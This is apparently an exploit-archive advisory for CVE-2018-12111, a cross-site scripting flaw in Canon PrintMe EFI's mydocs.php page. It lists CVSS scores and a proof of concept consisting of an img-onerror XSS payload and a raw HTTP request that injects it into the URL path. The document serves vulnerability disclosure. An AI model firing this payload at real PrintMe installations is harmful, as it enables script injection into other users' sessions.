Canon PrintMe EFI Cross Site Scripting

2018.06.13

Credit: Huy Kha

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-12111

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Title: Canon PrintMe EFI - Cross-Site Scripting
# Date: 9.6.2018-06-09
# Exploit Author: Huy Kha
# Vendor Homepage: [https://www.efi.com/]
# Version: Canon PrintMe EFI
# Tested on: Mozilla FireFox
# CVE: CVE-2018-12111
# XSS Payload used: '"--!><img src=x onerror=alert("XSS")>
# PoC
GET /wt3/mydocs.php/'%22--!%3E%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E HTTP/1.1
Host: 129.25.8.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a11b2588fe327f6bd1acf79f286c2dcd
Connection: close
Upgrade-Insecure-Requests: 1

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Canon PrintMe EFI Cross Site Scripting

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